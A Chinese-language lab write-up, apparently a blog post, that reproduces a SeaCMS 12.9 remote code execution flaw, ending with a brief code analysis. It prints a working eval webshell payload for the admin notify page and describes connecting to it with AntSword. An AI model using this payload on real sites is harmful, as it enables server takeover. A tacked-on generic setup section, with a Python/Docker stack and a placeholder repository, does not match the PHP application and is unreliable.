SeaCMS海洋影视管理系统远程代码执行漏洞复现

SeaCMS海洋影视管理系统远程代码执行漏洞复现

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

Ⅰ、环境搭建

首先搭建靶场环境

我们需要提前准备好一个正常使用的小皮面板

然后我们把提前准备好的压缩包解压出来并且放置到小皮面板的网站目录下

我的小皮面板服务目录在C:\phpstudy_pro\WWW

然后把刚刚的某洋cms放置到www目录下

在这里插入图片描述
然后我们可以通过网页来进行访问然后安装,我的ip是192.168.1.57

所以就去到http://192.168.1.57/SeaCMS_12.9/Upload/install/index.php这个文件来进行安装操作,打开此url会出现下面的界面,然后点击右下角的开始
在这里插入图片描述

直接同意

在这里插入图片描述
在这里插入图片描述

信息无误后点击下一步

下一步之后就需要我们填写数据库密码了,其他如果小皮没有变化就直接不管
在这里插入图片描述

点击下一步即可看见安装完成
在这里插入图片描述

Ⅱ、漏洞复现

接下来正式开始复现

http://192.168.212.133/SeaCMS_12.9/Upload/s2bj3v

首先我们去到http://192.168.1.57/SeaCMS_12.9/Upload/ew6sv/这个文件目录
在这里插入图片描述
在这里插入图片描述

因为我们是直接在这里安装的,保存了我们的cookie所以我们就直接进来了,如果没有直接进来也不要紧,直接弱密码账户admin 密码admin就行了
在这里插入图片描述

注意ew6sv这个目录是上图自动生成的

然后我们可以直接去到

http://192.168.1.57/SeaCMS_12.9/Upload/ew6sv/admin_notify.php

这个地址下的admin_notify.php文件

在这里插入图片描述

然后我们只需要在这里输入

1";@eval($_POST[cmd]);;//

然后下面的随便填,就像这样子

在这里插入图片描述

点击确认

确认后我们去到

http://192.168.1.57/SeaCMS_12.9/Upload/data/admin/notify.php

这个位置,这里便是我们刚刚写入马子的位置

直接打开蚁剑就可以直接正向连接了
在这里插入图片描述

Ⅲ、漏洞分析

然后是代码审计

我们可以分别看一下这俩php文件到底发生了什么导致了RCE

在这里插入图片描述

首先是他以写模式打开了

http://192.168.1.57/SeaCMS_12.9/Upload/data/admin/notify.php

这个地方的notify.php文件然后把内容拼接了上去,但是并没有检查拼接的字符串中是否存在特殊字符,而直接进去了

然后我们看一下写入的内容

在这里插入图片描述
很明显我们输入的双引号把变量前面的内容给闭合了,然后后面有双斜杠直接注释了后方的内容,所以就导致了我们利用蚁剑来正向shell

### 如何在本地环境搭建海洋CMS靶场 #### 准备工作 为了成功部署海洋CMS靶场,在开始之前需确保计算机满足最低硬件需求并安装必要的软件包。操作系统建议采用Linux发行版,如Ubuntu LTS版本[^1]。 #### 安装依赖项 通过命令行工具更新现有软件包列表,并安装构建和运行Ocean CMS所需的库文件以及开发工具链。对于基于Debian/Ubuntu系统的机器可以执行如下指令来完成这一步骤: ```bash sudo apt-get update && sudo apt-get upgrade -y sudo apt-get install build-essential libssl-dev libffi-dev python3-dev python3-pip nginx git -y ``` #### 获取源码仓库 利用Git克隆官方GitHub上的项目存储库到本地磁盘位置以便进一步操作。假设目标目录为`~/ocean_cms_range`: ```bash cd ~/ git clone https://github.com/example/ocean-cms-range.git ocean_cms_range ``` 请注意实际URL应替换为真实的地址[^2]。 #### 配置虚拟环境与Python依赖管理 创建独立于全局解释器的新Python环境用于隔离第三方模块的影响;进入上述路径下的工程根目录之后继续输入以下命令片段初始化该过程: ```bash cd ~/ocean_cms_range python3 -m venv .venv source .venv/bin/activate pip install --upgrade pip setuptools wheel pip install -r requirements.txt ``` #### 数据库设置 按照README.md文档中的指导说明配置关系型数据库(MySQL/MariaDB),并将相应连接字符串写入`.env`文件内指定变量中去。此步骤可能涉及到新建用户账号授权访问权限等问题,请参照具体产品手册处理[^3]。 #### 启动服务端应用 当所有前置条件都已妥善安排完毕,则可以通过Docker Compose一键启动整个平台的服务组件集合体。在此之前先确认docker-compose.yml配置无误后再尝试下面的操作方法: ```bash docker-compose up -d --build ``` 此时应该可以在浏览器里打开http://localhost:8000查看默认首页界面了[^4]。 #### 测试验证功能正常与否 最后但同样重要的是要对刚刚建立起来的实例进行全面的功能测试以确保其能够稳定可靠地提供预期之外的价值给最终使用者带来良好的体验感。可借助自动化脚本或者手动方式逐条检验各项特性是否符合设计初衷的要求[^5]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

安全攻防赵小龙

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值